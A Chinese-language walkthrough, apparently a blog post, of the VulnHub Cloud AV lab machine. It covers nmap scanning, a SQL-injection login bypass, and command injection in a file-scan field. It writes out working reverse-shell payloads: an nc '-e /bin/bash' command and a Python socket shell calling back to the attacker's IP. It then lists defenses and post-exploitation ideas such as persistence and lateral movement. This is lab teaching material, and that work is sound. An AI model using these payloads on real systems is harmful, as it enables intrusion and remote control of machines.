VnlnHub BOREDHACKERBLOG CLOUD AV
字数 1318 2025-08-12 11:34:25
VnlnHub BOREDHACKERBLOG CLOUD AV 渗透测试教学文档
靶场环境搭建
-
获取靶机文件:
- 下载格式为.ova的虚拟机压缩文件
- 使用VMware Workstation导入该文件
-
网络配置:
- 推荐使用NAT模式(桥接模式也可,但需与攻击机保持一致)
- 注意:该靶机可能无法自动获取IP,需要手动配置
-
IP配置问题解决:
- 参考文章:解决靶机无法获取IP问题
信息收集阶段
-
网络扫描:
- 使用nmap扫描NAT网段以发现靶机IP
- 示例命令:
nmap -sT -p 0-65535 -A 192.168.52.132
-
发现的服务:
- 22端口:SSH服务
- 8080端口:HTTP服务
- 框架信息:Werkzeug 0.14.1 (Python 2.7.15)
Web应用渗透测试
-
初始访问:
- 访问8080端口的Web服务
- 发现一个反病毒扫描模块,需要密码才能进入
-
SQL注入测试:
- 使用Burp Suite拦截登录请求
- 发送到Repeater模块进行测试
- 错误响应:WRONG INFORMATION
- 确认存在SQL注入漏洞
- 构造SQL注入语句成功绕过认证
-
功能分析:
- 登录后显示文件列表
- 功能:输入文件名进行病毒扫描
- 推测:后端可能使用命令行扫描工具(如
软件名 + 文件名形式)
命令注入漏洞利用
-
测试命令注入:
- 在文件名输入处尝试注入命令
- 确认存在命令注入漏洞
-
反弹Shell尝试:
- 检查靶机上的可用工具:
nc:存在python:存在(版本2.7.15)
- 检查靶机上的可用工具:
-
方法一:使用nc获取Shell:
- Kali攻击机监听:
nc -lvnp 4444 - 尝试命令:
bash | nc 192.168.52.128 4444 -e /bin/bash - 问题:靶机nc版本可能不支持-e参数
- Kali攻击机监听:
-
方法二:nc串联:
- Kali监听两个端口:4444和5555
- 使用串联方式绕过-e参数限制
-
方法三:使用Python获取Shell:
- 可尝试Python反向Shell代码
- 示例:
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.52.128",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
关键安全漏洞总结
-
SQL注入漏洞:
- 认证绕过
- 未对用户输入进行过滤
-
命令注入漏洞:
- 系统命令拼接用户输入
- 缺乏输入验证和过滤
-
配置问题:
- 使用旧版、不安全的组件(Python 2.7.15)
- 网络服务暴露过多(SSH+HTTP)
防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用参数化查询防止SQL注入
-
命令执行安全:
- 避免直接拼接用户输入到系统命令
- 使用白名单验证文件名
-
系统加固:
- 更新过时的软件组件
- 最小化开放的网络服务
-
权限控制:
- Web应用使用低权限账户运行
- 实施最小权限原则
扩展思考
-
其他可能的攻击路径:
- SSH服务暴力破解
- Werkzeug框架已知漏洞利用
- Python 2.7.15的潜在漏洞
-
后渗透阶段:
- 权限提升可能性分析
- 持久化方法研究
- 内网横向移动
-
自动化工具使用:
- sqlmap自动化SQL注入测试
- Metasploit模块利用
本教学文档涵盖了从靶机搭建到漏洞利用的完整过程,重点突出了SQL注入和命令注入两个关键漏洞的发现与利用方法,并提供了防御建议和扩展思考方向。